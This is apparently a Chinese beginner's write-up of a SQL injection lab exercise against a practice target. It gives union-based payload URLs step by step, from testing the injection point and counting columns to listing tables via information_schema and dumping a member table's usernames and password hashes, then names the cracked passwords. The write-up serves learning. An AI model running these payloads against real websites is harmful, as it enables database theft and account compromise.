基础介绍:https://blog.51cto.com/13520190/2126037
比较专业的介绍:https://blog.csdn.net/weixin_39789689/article/details/81089510
分类:https://www.cnblogs.com/JetpropelledSnake/p/9017949.html
个人向工具:http://www.vuln.cn/9027
最全爆破:https://www.cnblogs.com/spadd/p/4085544.html
技术原理:在网页上,通过MYSQL查询语句,可以查询服务器的数据库(未做安全过滤)。
实战尝试:墨客网靶场http://219.153.49.228:40125/(强烈推荐新手使用,评论多,入门简单)
主界面:
点击通知进入一个目录:
页面提交:http://219.153.49.228:40125/new_list.php?id=1
数据库执行语句:select * from news where id=1
页面返回内容正常,说明这有个注入点(?)
测试SQL语句
页面提交:http://219.153.49.228:40125/new_list.php?id=1 and 1=1
数据库执行语句:select * from news where id=1 and 1=1
页面显示和之前一样,测试SQL语句成功
页面提交:http://219.153.49.228:40125/new_list.php?id=1 and 1=2
数据库执行语句:select * from news where id=1 and 1=2
返回内容为空
字段判断:order by n
页面提交:http://219.153.49.228:40125/new_list.php?id=1%20order%20by%203
数据库执行语句:select * from news where id=1 order by 3
当order by 5时,返回内容为空,说明有4个字段
页面提交:http://219.153.49.228:40125/new_list.php?id=1 and 1=2 union select 1,2,3,4
这里卡了很久,因为刚开始没有加1=2,因此返回界面还是正常。加1=2是将前面的内容false掉,只显示后面的内容
数据库执行语句:select * from news where id=1 and 1=2 union select 1,2,3,4
页面返回描述:在原来的标题上位置显示为2,内容的位置显示为3
分析:通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段,原本的查询应该是select id,title,contents,? from "table" where id=1,也就是说title标题是第2个位置显示,contents内容是在第三个位置显示。
开始爆破嘿嘿嘿
页面提交:http://219.153.49.228:49448/new_list.php?id=1%20and%201=3%20union%20select%201,database(),3,4
在2的位置显示数据库
页面提交:union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema like database()
group_concat(table_name)是将table_name连在一起,
information_schema.tables 是常见的表,可以通过它查到所以表
提交:网址+id=1+0+union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name like 'StormGroup_member'
提交:union select 1,2,group_concat(name,"-",password,"-",status),4 from stormgroup_member
找到用户名和密码,可以看出是加密的,估计是md5,尝试用md5解迷
结果是dsan13和771310